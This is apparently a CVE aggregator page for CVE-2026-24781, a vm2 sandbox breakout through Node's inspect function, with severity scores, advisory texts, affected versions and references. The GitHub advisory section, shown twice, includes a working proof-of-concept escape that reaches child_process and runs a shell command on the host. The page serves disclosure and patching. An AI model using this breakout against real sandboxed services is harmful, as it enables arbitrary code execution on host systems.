CVE-2026-24781
vm2: Sandbox Breakout Through Inspect
vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.0, VM2 suffers from a sandbox breakout vulnerability through the inspect function. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This issue has been patched in version 3.11.0.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
9.8
vm2: Sandbox Breakout Through Inspect
vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.0, VM2 suffers from a sandbox breakout vulnerability through the inspect function. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This issue has been patched in version 3.11.0.
- Record
CVE-2026-24781- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-94, CWE-693, CWE-653
- Updated
- 2026-11-02
EUVDEUVD-2026-26987
9.8
vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.0, VM2 suffers from a sandbox breakout vulnerability through the inspect function. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This issue has been patched in version 3.11.0.
- Record
EUVD-2026-26987- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-v37h-5mfm-c47c
9.8
VM2 Has Sandbox Breakout Through Inspect Function
Summary
VM2 suffers from a sandbox breakout vulnerability through the inspect function. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.
Details
The node inspect method allows to log details of objects. To get to the details, the implementation unwraps proxies. The unwrapped values can be extracted using the this.seen of the stylize function. This allows to get access to the internal proxy handler of VM2 which contains the sandbox object. Since the access to the handler is itself wrapped by a VM2 proxy, accessing the sandbox object in the proxy handler will result in a wrapped sandbox object given into the sandbox. This allows to write a wrapped host object to the wrapped sandbox object and read the raw host object from the raw sandbox object bypassing the proxy bridge.
PoC
const obj = {
subarray: Buffer.prototype.inspect,
slice: Buffer.prototype.slice,
hexSlice:()=>'',
l:{__proto__: null}
};
obj.slice(20, {showHidden: true, showProxy: true, depth: 10, stylize(a) {
if (this.seen?.[1]?.objectWrapper) this.seen[1].objectWrapper().x = obj.slice;
return a;
}});
obj.l.x.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
Impact
Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.
- Record
GHSA-v37h-5mfm-c47c- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-94, CWE-653, CWE-693
- Updated
- 2026-11-04
NVD
9.8
vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.0, VM2 suffers from a sandbox breakout vulnerability through the inspect function. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This issue has been patched in version 3.11.0.
- Record
CVE-2026-24781- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-94, CWE-693, CWE-653
- Updated
- 2026-11-02
OSV
9.8
vm2: Sandbox Breakout Through Inspect
vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.0, VM2 suffers from a sandbox breakout vulnerability through the inspect function. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This issue has been patched in version 3.11.0.
- Record
CVE-2026-24781- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-693, CWE-94
- Updated
- 2026-11-02
OSVGHSA-v37h-5mfm-c47c
9.8
VM2 Has Sandbox Breakout Through Inspect Function
Summary
VM2 suffers from a sandbox breakout vulnerability through the inspect function. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.
Details
The node inspect method allows to log details of objects. To get to the details, the implementation unwraps proxies. The unwrapped values can be extracted using the this.seen of the stylize function. This allows to get access to the internal proxy handler of VM2 which contains the sandbox object. Since the access to the handler is itself wrapped by a VM2 proxy, accessing the sandbox object in the proxy handler will result in a wrapped sandbox object given into the sandbox. This allows to write a wrapped host object to the wrapped sandbox object and read the raw host object from the raw sandbox object bypassing the proxy bridge.
PoC
const obj = {
subarray: Buffer.prototype.inspect,
slice: Buffer.prototype.slice,
hexSlice:()=>'',
l:{__proto__: null}
};
obj.slice(20, {showHidden: true, showProxy: true, depth: 10, stylize(a) {
if (this.seen?.[1]?.objectWrapper) this.seen[1].objectWrapper().x = obj.slice;
return a;
}});
obj.l.x.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
Impact
Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.
- Record
GHSA-v37h-5mfm-c47c- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-653, CWE-693, CWE-94
- Updated
- 2026-11-04
OSVROOT-APP-NPM-CVE-2026-24781
9.8
CVE-2026-24781 in vm2 - Patched by Root
Root has patched CVE-2026-24781 in the vm2 package for Root:npm. Multiple fixed versions available.
- Record
ROOT-APP-NPM-CVE-2026-24781- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVCLSA-2026-1787860907 No score
TuxCare security update for vm2 (34 CVEs)
TuxCare rebuilt vm2 to address 34 CVEs. Fixed in 3.10.0-tuxcare.1.
- Record
CLSA-2026-1787860907- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
vm2npm |
before 3.11.0 | 3.11.0 |
vm2TuxCare:npm From an advisory covering 30 CVEs |
3.10.0-tuxcare.0 up to 3.10.0-tuxcare.1, plus listed versions 3.10.0 |
3.10.0-tuxcare.1 |
vm2Root:npm |
before 3.9.17-aikido.11 | 3.9.17-aikido.113.9.17-aikido.123.10.5-aikido.63.9.17-aikido.133.9.17-aikido.73.9.17-aikido.83.9.17-aikido.93.9.17-aikido.103.10.5-aikido.73.9.7-aikido.53.9.7-aikido.63.10.5-aikido.8 |
@rootio/vm2Root:npm |
before 3.10.5-root.io.2 | 3.10.5-root.io.23.10.5-root.io.33.10.5-root.io.43.10.5-root.io.53.9.17-root.io.113.9.17-root.io.123.10.5-root.io.63.9.17-root.io.133.9.17-root.io.73.9.17-root.io.83.9.17-root.io.93.9.17-root.io.103.10.5-root.io.73.9.7-root.io.53.9.7-root.io.63.10.5-root.io.8 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected | ||
| references | OSV | |
| affected, facts | GitHub Advisories | |
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-24781 is a critical vulnerability (CVSS 9.8) in Patriksimek Vm2, published May 4, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 1.19%, the 67th percentile. Fixed in vm2 3.11.0.
References
github.com/patriksimek/vm2/security/advisories/GHSA-v37h-5mfm-c47c
github.com/patriksimek/vm2/commit/8d30d93213c1898b3e035298b89a814970dd1189
github.com/patriksimek/vm2/commit/bdd3d15e57bc4ec5e70365cd79f7cb0256e5f88c
github.com/patriksimek/vm2/commit/fd266d084e0a3322d0f71ba2a8dc4c96cd030228
github.com/patriksimek/vm2/releases/tag/v3.11.0
access.redhat.com/security/cve/CVE-2026-24781
Show 8 moreShow less
bugzilla.redhat.com/show_bug.cgi?id=2466531
security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-24781.json
access.redhat.com/errata/RHSA-2026:36754
access.redhat.com/errata/RHSA-2026:26234
nvd.nist.gov/vuln/detail/CVE-2026-24781
github.com/advisories/GHSA-v37h-5mfm-c47c
github.com/CVEProject/cvelistV5/tree/main/cves/2026/24xxx/CVE-2026-24781.json
github.com/patriksimek/vm2